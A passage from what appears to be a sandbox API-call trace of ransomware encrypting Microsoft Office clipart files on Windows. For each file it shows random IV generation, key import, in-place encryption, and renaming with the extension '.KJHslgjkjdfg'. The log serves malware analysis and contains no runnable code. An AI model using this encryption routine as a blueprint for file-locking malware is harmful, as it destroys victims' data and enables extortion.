hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.652] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.652] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x773a, lpOverlapped=0x0) returned 1 [0178.654] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7740, dwBufLen=0x7740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7740) returned 1 [0178.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.654] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7740, lpOverlapped=0x0) returned 1 [0178.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.655] SetEndOfFile (hFile=0x114) returned 1 [0178.658] GetProcessHeap () returned 0x2a0000 [0178.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.658] GetProcessHeap () returned 0x2a0000 [0178.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.kjhslgjkjdfg")) returned 1 [0178.659] CloseHandle (hObject=0x114) returned 1 [0178.659] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0178.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.660] GetProcessHeap () returned 0x2a0000 [0178.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.660] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.660] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.663] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.663] GetProcessHeap () returned 0x2a0000 [0178.663] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.663] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.663] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.664] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.664] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.664] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b8e, lpOverlapped=0x0) returned 1 [0178.671] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8b90, dwBufLen=0x8b90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8b90) returned 1 [0178.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.671] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8b90, lpOverlapped=0x0) returned 1 [0178.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.672] SetEndOfFile (hFile=0x114) returned 1 [0178.674] GetProcessHeap () returned 0x2a0000 [0178.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.675] GetProcessHeap () returned 0x2a0000 [0178.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.kjhslgjkjdfg")) returned 1 [0178.676] CloseHandle (hObject=0x114) returned 1 [0178.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0178.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.677] GetProcessHeap () returned 0x2a0000 [0178.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.677] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.677] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.677] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.683] GetProcessHeap () returned 0x2a0000 [0178.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.683] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.683] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.683] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.683] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.684] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e74, lpOverlapped=0x0) returned 1 [0178.685] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80) returned 1 [0178.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.685] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e80, lpOverlapped=0x0) returned 1 [0178.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.685] SetEndOfFile (hFile=0x114) returned 1 [0178.688] GetProcessHeap () returned 0x2a0000 [0178.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.688] GetProcessHeap () returned 0x2a0000 [0178.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.kjhslgjkjdfg")) returned 1 [0178.689] CloseHandle (hObject=0x114) returned 1 [0178.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0178.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.691] GetProcessHeap () returned 0x2a0000 [0178.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.691] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.691] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0178.693] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.693] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.694] GetProcessHeap () returned 0x2a0000 [0178.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.694] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.695] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.695] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2182, lpOverlapped=0x0) returned 1 [0178.696] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2190, dwBufLen=0x2190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2190) returned 1 [0178.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.696] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2190, lpOverlapped=0x0) returned 1 [0178.696] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.696] SetEndOfFile (hFile=0x114) returned 1 [0178.699] GetProcessHeap () returned 0x2a0000 [0178.699] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.699] GetProcessHeap () returned 0x2a0000 [0178.699] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.kjhslgjkjdfg")) returned 1 [0178.700] CloseHandle (hObject=0x114) returned 1 [0178.700] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0178.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.702] GetProcessHeap () returned 0x2a0000 [0178.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.702] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.702] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.705] GetProcessHeap () returned 0x2a0000 [0178.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.706] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x37e4, lpOverlapped=0x0) returned 1 [0178.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x37f0, dwBufLen=0x37f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x37f0) returned 1 [0178.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.707] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x37f0, lpOverlapped=0x0) returned 1 [0178.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x38c4, lpNewFilePointer=0x0, 